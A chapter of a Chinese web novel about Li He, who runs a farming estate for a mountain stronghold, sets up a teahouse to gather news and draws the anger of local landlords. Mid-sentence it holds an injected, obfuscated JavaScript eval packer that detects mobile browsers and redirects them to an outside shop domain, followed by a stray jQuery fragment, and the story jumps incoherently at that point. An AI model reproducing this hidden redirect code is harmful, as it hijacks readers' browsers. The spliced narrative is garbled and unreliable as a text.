却说自从得到孙艾资助银两购置田产、组织耕种后，李贺的生活发生了翻天覆地的变化。有了稳定的钱粮收入，他不仅迅速还清了旧债，更有余力为缠绵病榻的老母亲延请更好的医师。不过一年光景，李母的身体已大有起色，苍白的脸上有了血色，甚至能下床做些轻省家务。
李贺本就为人踏实仁厚，如今又显出持家立业之能，媒人自然是踏破了门槛，说合的人家络绎不绝，或为乡绅之女，家底殷实；或为商户千金，容貌秀丽，各有长短。李贺本就不重浮名虚利，更看重女方品性才德，几番斟酌，最终说定的，是邻村一位老秀才的独女，姓文。家中虽清贫，却是诗书传家，柳娘自幼随父读书，识文断字，性情温婉明理。李贺打听后，甚为满意。
山寨以“贺仪”之名，暗中送去一笔丰厚的资财，并几匹上好布料，言明是“旧友贺新婚，盼琴瑟和鸣，家业两兴”。李贺心知肚明，与柳娘坦诚了部分过往，只言曾得一位有大本事的“恩人”相助，方能绝处逢生。柳娘聪慧，并不多问，只道：“既受人大恩，夫君当思报答。妾身既嫁，自当与夫君同心，理好内务，不使夫君有后顾之忧。”
柳娘过门后，侍奉婆母尽心尽力，将家中打理得井井有条，更难得的是识文断字，能帮李贺整理账目、书写文书。李母康健，内室贤明，李贺只觉肩头轻快，心中暖融。恰在此时，李贺经营的田庄因连年吸纳流民、垦荒拓土，规模急剧膨胀至近三百亩，庄户超两百户，丁口近千。原先松散的管理方式已难以为继，李贺深感力不从心，终日陷于琐务。
一日，他对妻子柳娘叹道：“三娘将这番基业交代于我，是为长远大计。如今摊子铺开了，我分身乏术，若一味硬撑着，反倒误了她的嘱托。必得找几位能干的帮手，分头挑起来才行。”
柳娘边为他缝补衣衫，边柔声道：“夫君所言极是。妾身观庄中众人，性情能力各异。夫君不若效仿古时‘三老’治乡，挑选那些德行服众、精通农事、处事公道的，委以职司，定下规矩，夫君居中掌总便可。妾身虽愚钝，亦可为夫君留意些庄内妇孺闲言，或能察知人心向背。”
李贺闻言，眼前一亮，“你这法子正解眼下症结。我心里倒是有几个合适的人选，娘子帮我一同断断。等咱们把章程捋顺了，再一并报给三娘定夺。”
柳娘闻言，颔首浅笑，“夫君识人素来公允，既已有了人选，不如先将心里的人选写下来，妾身明日再暗地里察访一圈，看看这些人平日行事、人缘如何，两下里一合，岂不更稳妥？”
李贺当即点头，将人选一一写下。
次日他们便着手选拔“庄头”。李贺并未大张旗鼓，而是自己在外观察庄户劳作、处事，柳娘在内通过与庄中妇孺往来、处理些邻里内务，留意各家风气、人品口碑。晚间夫妻二人灯下细语，交换所见，互补短长。
一个月后李贺最终敲定了三个人。这日晚饭后，李贺将名单再次铺开，从旁圈出属意之人，对正在灯下缝补的柳娘道：“娘子，帮我看看这三人是否可行？”
柳娘当即放下针线，移步至书案旁，看着被圈出的“周老根”三字，点头道：“周大叔是庄里老人了，农事上没人不服。他家刘婶也是个极贤惠的，屋里收拾得干干净净，两个孩子教得知礼守节。听闻家里事无大小，周大叔皆与她有商有量。家宅和睦，可见周大叔秉性宽厚而不失章法。”
李贺心下大定，“我也观他安排农事，井井有条，众人皆服。”
柳娘又点向“赵振”：“赵大哥话不多，但庄里人都知道他最是公正。前日张家和李家因田埂争执，赵大哥三言两语便断得双方心服。只是……”她略迟疑，“妾身有次见他独坐溪边，望着北方出神，眼神里有种说不清的郁色。后来听他家隔壁王婆婆说，赵大哥酒醉时曾提过‘愧对弟兄’之类的话。此人眼神清正，秉节持重，但过往似有隐痛。夫君用其能，亦当恤其情。”
“此事我也有所察觉。”李贺记下，“他行事确带军旅之风。”
最后柳娘看向“孙招娣”，眼中泛起暖意：“招娣姐最是热心肠。庄里谁家妇人生产、老人病痛，她总是第一个去帮忙。自己带着孩子不易，却从不诉苦，反把日子过得红红火火。前几日几个孩童在塘边玩耍险些出事，是招娣姐及时发现喝止，事后还挨家上门叮嘱。妇人孩童之事交予她，最是妥当。”
听了柳娘一番话，李贺心中更有把握，“如此，我便分别请他们来家中做客，再细谈一番。”李贺道，“还请娘子费心准备几样家常菜肴，席间也可帮我观看观看。”
柳娘微笑应下：“这是自然。妾身定会仔细留意。”
李贺次日便以“请教选种之事”为由，邀周老根来家。周老根是附近村落有名的农把式，种了一辈子田，对两县湿热气候下的作物脾性了如指掌。他来时特意换了一身浆洗干净的粗布短褂，手里拎着个粗麻布袋，里面是小半袋自家留种的饱满黄豆。
竹制的八仙桌摆在堂屋，柳娘端上腌酸笋和紫苏炒田螺，又给两人各倒了碗米酒。酒过三巡，李贺提起庄上的农事规划，周老根的话匣子立刻打开：“咱这地界，雨水虽足但坡地多，你庄西那片二十亩丘陵地，土层薄还偏黏，种晚稻容易烂根，改种黄豆、甘蔗最是划算，耐旱耐贫瘠，收了还能酿酒喂猪。还有南溪旁那几丘梯田，新来的几家是北边逃荒来的，不懂咱‘靠天吃饭不如靠渠’的理，我已让我家老大带他们去疏理灌渠。这水田离了水，插再好的秧也白搭。”
他说着伸手在桌上比划，话语句句扎实。柳娘添饭时，周老根忙起身双手接碗，黝黑粗糙的脸上满是客气：“劳烦文夫人，总让你忙前忙后。”谈及家中，他眼角的皱纹都舒展开来：“我家娘子总说我天天泡在田里不着家，可若不是她在家种桑养蚕、操持家务，我哪能安心琢磨农事。”
送周老根出门时，李贺特意把那袋黄豆还给他，他却摆手推回来：“这是咱地里长的实在东西，留着给夫人泡发了做菜，或是当种籽都好。”饭毕收拾碗筷时，柳娘对李贺道：“周大叔真是个实心人，连双季稻的门道都跟你说透了，言谈间对家人更是敬重，可见家风正。他带来的黄豆我看了，粒粒圆实饱满，是挑过的好种，这份心意比啥都金贵。”
如此这般第二、三日李贺、柳娘夫妻又分别请了赵振和孙招娣。
三人各有所长，皆是可用之才。家宴结束后，李贺与柳娘闭门深谈。“周大叔农事精通，德高望重，可为总务庄头，掌生产调度。赵兄弟严谨刚直，通晓行伍，可为治安兼工分庄头，掌秩序与记工。孙小妹热心细腻，深得妇孺之心，可为内务兼教化庄头，掌福利与教化。”
柳娘点头：“如此分工，各展所长。只是任命之前，是否需禀明三娘？”
“这是自然。”李贺正色，“三娘将田庄托付于我，此等大事必得她首肯。”
次日，李贺进山将三人详情、考察经过及任命建议说与孙艾。孙艾听后大喜，直夸他知人善任，又懂得制衡分权，很是妥当，“此事就这么定了！”她端起面前的山茶一饮而尽，暖意散开后，脸上笑意更甚，转头看向李贺，语气里满是赞许，“永安（李贺表字）兄内得贤妻筹谋助力，外有能人各司其职。庄里这一摊子事儿由你打理，我是再没什么后顾之忧了。”
李贺被她一夸，羞得连连摆手自谦道：“当初若没有三娘，我哪能过上这样的日子。三娘待李某的大恩大德，我就是生生世世当牛做马也报答不完。”说到动情处，他竟有些红了眼眶。
孙艾见状，心中也是一暖。她放下茶盏，神色却并未流于感伤，“永安兄言重了。”她声音平和，却有种安定人心的力量，“你我之间，不必谈什么当牛做马。当初相救不过偶然。如今你能安家立业，全是自己持身以正、行事以诚换来的福报。我不过顺水推舟，略助一臂之力罢了。”
她顿了顿，目光扫过窗外层峦叠嶂的山影，语气微转，带上了一丝不易察觉的凝肃：“庄内岁收供给山寨，你我本是互相帮衬，休戚与共，何来报答一说。”
李贺听出她话中深意，正色道：“三娘说的是。李某与田庄上下，皆与山寨同气连枝。但有驱策，绝无二话。”
孙艾微微颔首，对他的表态很是满意。她重新提起茶壶，为李贺续上半盏温热的山茶，动作从容，仿佛闲话家常，“永安兄如今内外皆安，田庄诸事已然理顺，我心中甚为宽慰。”她指尖轻轻摩挲着粗瓷茶盏的边缘，目光投向窗外云雾缭绕的远山，似在斟酌词句，“只是有时我坐在这聚义厅中，看着兄弟们操练，心里却难免生出另一层忧虑。”
李贺屏息静听。孙艾收回目光，看向李贺，眼中锐光一闪即逝：“这山寨虽有高墙深垒，安稳自守，但终究是偏安一隅，耳目闭塞。”她语速放缓，一字一句，清晰入耳：“山下的官府有何新动向？周边的豪强又在酝酿什么算计？州府乃至更远处的风吹草动……我们知道的，总比旁人慢上几步，也模糊几分。往日里，还能靠偶尔下山‘采买’碰碰运气，听些市井流言。可如今摊子大了，牵连的人多了，再靠碰运气，便如同蒙着眼走夜路，终究不是长远之计。”她轻轻叹了口气，“若哪天祸事到了山门前才知晓，只怕就晚了。”
李贺何等聪明，立刻听懂了孙艾的弦外之音，也明白了她的忧虑。山寨中人多是猎户、流民出身，惯于山林生活，却不擅打探山下消息。若想打破闭塞，需得有人在人流汇聚处细细收集。他心中一阵激荡，孙艾这是要将更重的担子，更深的信任，交付于他！他没有丝毫犹豫，放下茶盏，挺直脊背，肃然道：“三娘所言极是。我倒有一计，或许能解此困。”
孙艾抬眸看着他，示意他细说。
“山下三十里的官道旁，有个柳林渡，是南来北往的要冲。行商带货、脚夫赶车、官差传驿、游侠赶路，皆要在此歇脚。我想着，不如在那里开一间茶坊兼营食肆，平日里卖些粗茶淡饭、麦饼肉食。”李贺语速平稳，条理清晰，“来往客人歇脚时，难免会闲谈说笑。或是杭州城里的新政、州府的告示，或是哪路商队遇了劫道、哪处山头有了异动，甚至是邻里间的闲话琐事，皆能入耳。某粗通文墨，可将这些讯息分门别类记下，每隔一日三娘可派人下山取信。”他顿了顿，又补充道：“茶坊食肆本就是各色人等汇集之地，我只做个安分经营的店主，无人会疑心。届时无论是官府的动向、江湖的风声，还是周边村镇的情形，都能第一时间知晓，山寨便再也不会如现今这般闭塞了。”
孙艾闻言，眼中先是闪过一丝赞许。她原就有此打算，没想到李贺能如此快领会她的深意，还想出这般妥帖的法子。这计策既不张扬，又能长久，比派人下山打探稳妥得多。
“此法虽好，可是茶饭生意，琐碎辛苦，况且官差游侠多是精明之人，稍有不慎便可能惹上麻烦，永安兄可想好了？”
李贺神色诚恳，“若非三娘搭救，某早已曝尸荒野，哪有今日安稳？能为三娘分忧，是我的荣幸。再说我平日里只做本分生意，客人闲谈时只当听个热闹，绝不主动探问，更不会露出行迹。若遇着可疑之人，便只记其形貌动静，绝不贸然招惹。”
“如此，永安兄可是帮了我大忙，”孙艾端起茶盏，拱手相敬，“开店之资，由山寨承担。你只管置办铺面、添置家什，银两我稍晚叫人给你送去。若还需人手，也可在山下雇两个老实本分的伙计。凡事多加小心，若遇难处，便遣人送信回来，万不可自己强撑。”
李贺心中一暖，起身深深一揖：“三娘放心。”
孙艾见他心思如此灵巧，便也放心地跟着笑了起来。
山风穿竹，沙沙作响，石桌上的茶烟渐渐散去，而柳林渡旁的茶坊，已然在两人的闲谈后，悄然开张。铺面不大，却收拾得干净齐整，窗明几净。李贺身着一身半新不旧的儒衫，亲自招呼，他娘子则在后厨操持些家常菜蔬、实惠饼饵。提供的茶水是寻常粗茶，饭食也简单，胜在量足、干净、价钱公道。
李贺为人本就谦和知礼，加上读书人的气质，很快便赢得了过往客商的好感。他不急不躁，只殷勤添茶，适时搭话，常与客人聊上几句风土人情、物价涨落、路途见闻。渐渐地，“清源居”成了这条道上一个颇受欢迎的歇脚处。
灯影摇曳间，他每夜都将耳闻的零星讯息细细分拣、以密文录于纸上。
或有行商围坐，抱怨某处关隘税吏骤然加征课税，热议州府官员迁转动向，叹息某地遭灾致粮价飞涨。酒酣耳热之际，偶有镖师或孤侠歇脚，压低声音说起哪路豪杰又做下一桩“营生”，何处山谷新聚一处“山寨”，或是官府新近悬赏缉拿的“江洋巨寇”。更有乡农肩扛柴薪歇脚，捧碗粗茶闲谈，说的尽是烟火里的琐碎。谁家与田主起了争执，哪村水渠淤塞无人修葺，清风岭“劫富济贫”的传闻又添了几分新说。
这所有关乎商路、民生、吏治的蛛丝马迹，皆被李贺一一默记于心。
这日李贺又听来一处消息，报送孙艾。
原是邻乡有间铁匠铺，炉火光焰终年不辍，掌炉铁匠名唤郑浑。三十多岁，面颊布着铁汁灼烫的细疤，深浅交错，虽面容看着不善，但在乡中却素有“厚道人”之称。乡邻锄头卷了刃、锅底裂了缝，若一时手紧，他总摆摆手说：“先拿去用，钱不急。”账本上记着不少赊欠，他从不催讨。一家生计，全赖这间铺子叮当不断的声响。
开春后，县衙传下公文，为缮修官道，征调乡中男丁轮番应役，为期十日。郑浑家此番应役，更是耽搁了活计。孰料祸不单行，归家后他昼夜赶工欲补亏空，八岁的儿子阿茂在侧帮着拉风箱，疲惫中不慎打翻了一坩埚滚烫的铁水！虽闪躲得快，滚烫的铁水仍溅上小腿，转瞬皮肉焦裂，黑痂迸起，那撕心裂肺的惨叫未落，孩子已直挺挺昏死在地。
请郎中、买药材、购外敷的珍贵膏散……郑家本就拮据，此刻更是雪上加霜。郑浑翻遍家底，连妻子压箱的嫁妆都当了。炉火黯淡下来，积蓄像泼在热铁上的水，嗤啦一声便蒸发殆尽。看着儿子因疼痛和高烧而通红的脸，听着他昏迷中痛苦的呻吟，一辈子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694747|207974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
硬骨头的郑浑，也蹲在熄了火的炉膛前，头深深埋在膝间，肩膀无声地耸动起来。
乡邻纷纷接济，也只是杯水车薪。哀叹“郑铁匠好人没好报”、“那孩子烫得惨，怕是要落下残疾”、“真是屋漏偏逢连夜雨”。李贺心中不忍，曾去铁铺附近探访，见门户半掩，内里悄无声息，昔日的叮当热火已成死寂，唯有浓浓药味飘出。
孙艾将信收好，拭去眼角泪痕，起身时椅腿与地面摩擦发出刺耳响动，惊得廊下雀儿扑棱棱飞起。
“去请几位主事过来，就说我有急事相商。”
不过半柱香功夫，蒋巨力带着三位管事已立在堂中。几人见孙艾面色凝重，都收了平日的笑语。
“李兄送来书信，山下有一穷苦铁匠……”她将信中内容一一讲给众人，蒋巨力、王五等头领，这些刀头舔血的汉子，也听得默然。他们多是苦出身，深知被逼到绝处的滋味。
“他娘的！”蒋巨力一拍桌子，“这世道，专挑老实人欺负！官府加役，耽误人活计，转头娃娃又遭这等罪！”
王兴也点头：“是啊，如今他家遭此大难，咱们不能看着不管。眼下救人要紧。”
众人的目光投向孙艾。
“既然大家没有异议，那便从义仓中支十两银子，先给孩子治病。”
众人应道：“好。”
当天，李贺便带着银两来到铁匠家，轻叩门扉，郑浑满面愁容地开门。
李贺拱手一礼，压低声音，“在下李贺，闻听令郎伤势沉重，特来尽绵薄之力。”说罢，将一包碎银塞入郑浑手中。
郑浑推却道：“这、这……李相公，你我素不相识，如何使得？”
“您仁心厚道，乡里皆知。在下不过敬您为人，不忍良善之家遭此磨难。银钱乃身外物，救人要紧。请速去延医购药，万勿推辞！”李贺语气恳切，说罢转身便走，根本不给郑浑拒绝的机会。
郑浑捧着那包犹带体温的银子，泪眼婆娑。他朝着李贺离去的方向，深深鞠了一躬，然后擦干泪，转身回屋，对焦急的妻子道：“快！快去请回春堂的孙老先生！阿茂有救了！”
在孙艾持续而隐蔽的资助下，李贺陆续买下周边近百亩贫瘠坡地与荒地。又以“借种不收租、只收三成余粮”的模式，组织起贫户精耕细作，收成颇丰。
更重要的是他不似寻常庄主盘剥，凡庄中佃户遇婚丧嫁娶、疾病伤痛，他必酌情减租、甚至赠些钱粮。庄中还设有义塾，教佃户子弟认字算数。农闲时组织青壮修葺房舍、挖掘水渠。孙艾通过山寨“义仓”暗中支持的粮食与药品，经由李贺之手，化作对庄户实实在在的帮扶。
“李相公侠义”的名声，如春风般在临溪、永丰两县百姓中传开。
这年夏末，永丰县遭遇十年未遇的暴雨，山洪冲垮多处堤坝，下游低洼地带数十顷良田尽成泽国。这些田，多属本县王、赵、孙几家大庄主。佃户们不仅当年收成无望，连存粮、家当也损失惨重。
更雪上加霜的是，洪水退后，庄主们不但不减租免债，反而因自家损失，催租更急，甚至欲提高来年地租以弥补损失。无数佃户陷入绝境。
走投无路之际，“李贺庄上招人垦荒，借种借粮，只收三成”的消息，成了黑暗中的一盏灯。起初是三户五户，后来是整村整里的佃户，扶老携幼，毅然抛弃了租种多年的土地与难以偿还的债务，投奔李贺的田庄。
短短月余，李贺田庄人口暴增数百，新开辟的临时窝棚沿着山脚蔓延。庄中存粮虽丰，压力也陡然增大，但秩序井然，李贺与最早的一批庄户全力安置新来者，分发粮食、划分地块、安排住宿。庄户们如潮水般弃田投靠李贺而去，本地庄主们无不对李贺恨之入骨，恨不得将他生吞活剥。
这日暮色渐沉，赵振正带着佃户们修补漏风的屋墙，而几里外的吴庄主家，灯笼次第亮起，映着议事厅里狰狞的人影。在红木议事厅，檀香燃着半截就被满室的戾气冲得变了味。八仙桌上摊着几张皱巴巴的佃户名册，红圈勾掉的名字密密麻麻。
“哐当”一声脆响，细瓷茶碗狠狠砸在青石板地上，碎瓷片溅起半尺高，滚烫的茶水顺着桌腿蜿蜒成深色的水痕。
吴庄主气得胡子都竖了起来，“反了！真是反了天了！这群泥腿子吃我的粮、种我的地，竟敢说走就走，把我的良田都撂成了荒地！都是李贺那小子蛊惑！上月他还在村口晒谷场嚼舌根，说什么‘凭力气吃饭，不该被租子压断腰’，当时我就该把他的嘴给缝上！”他越说越气，抬脚踹翻了脚边的炭盆，火星子溅到椅垫上，烧出几个黑窟窿。
坐在下首的魏财主慢悠悠捻着山羊须，三角眼眯成一条缝，语气比厅外的寒冬还阴冷：“吴兄稍安勿躁。此风不可长啊。咱们这十里八乡，佃户本就金贵，如今李家庄那边聚了百十来号逃佃的，若人人都学他李贺，咱们的田地谁来种？春种误了农时，秋收的指望不就全落空了？更别说咱们的租子、利钱了。”他顿了顿，端起没凉透的茶呷了一口，“这李贺，哪里是收留？他分明是聚众图谋不轨，想造咱们的反！”
“图谋不轨”四个字刚落地，蒋庄主“啪”地一拍桌子站了起来。他本就生得膀大腰圆，一身绸缎被撑得紧绷，此刻撸起袖子，露出胳膊上的腱子肉，活像头暴躁的黑熊：“跟他废什么话！魏兄说得在理，这小子就是欠收拾！我派人去探过，他那庄子上收拢的泥腿子倒是不少，可都是些什么人？面黄肌瘦的逃荒户，拖家带口的庄户，除了几把破烂锄头、柴刀，连件像样的家伙都没有！咱们各家的护院，那是每日操练、见过血的，刀枪棍棒齐全。赶明儿再去镇上码头上招呼些常替人‘了事’的硬手弟兄，凑上百八十号人，刀明甲亮地开过去。他那庄子，人再多，也不过是一群刚放下锄头、吃饱了几天饭的土包子，吓都能给他们吓散了！我倒要看看他李贺一个书生，拿什么来挡！”
他说着攥紧拳头，指节捏得咯咯响：“先砸了他那几间破窝棚，把囤的粮食都拉回来抵租，再抓几个带头逃租的老东西，吊在村口往死里打，好好给他们立个规矩！我看谁还敢跟着李贺瞎起哄！”
“蒋兄这话在理！”旁边几个小庄主立刻附和起来，有的说自家有十条恶犬能派上用场，有的说认识县衙的捕头，能通融“睁一只眼闭一只眼”。议事厅里的嘈杂声越来越大，原本的焦虑都化作了恃强凌弱的嚣张。
魏财主立刻点头：“这有何难？我这就让人磨墨。咱们几家都在状纸上画押，联名上诉，县衙不敢不重视。”
“至于人手，”吴庄主转向蒋庄主，“就劳烦蒋兄牵头。护院的工钱我出三成，再备十坛好酒、二十斤熟肉，让兄弟们好好出力。对外就说‘追讨逃奴、维护田契’，谁也挑不出错来。”
庄主们你一言我一语，不过半柱香的功夫就达成了一致。没有人提那些逃佃佃户的苦楚，他们眼里只盯着自家即将流失的租子。很快，魏财主亲笔写的状纸铺在了桌上，鲜红的手印一个个按了上去。蒋庄主则揣着银子，急匆匆地去召集人手。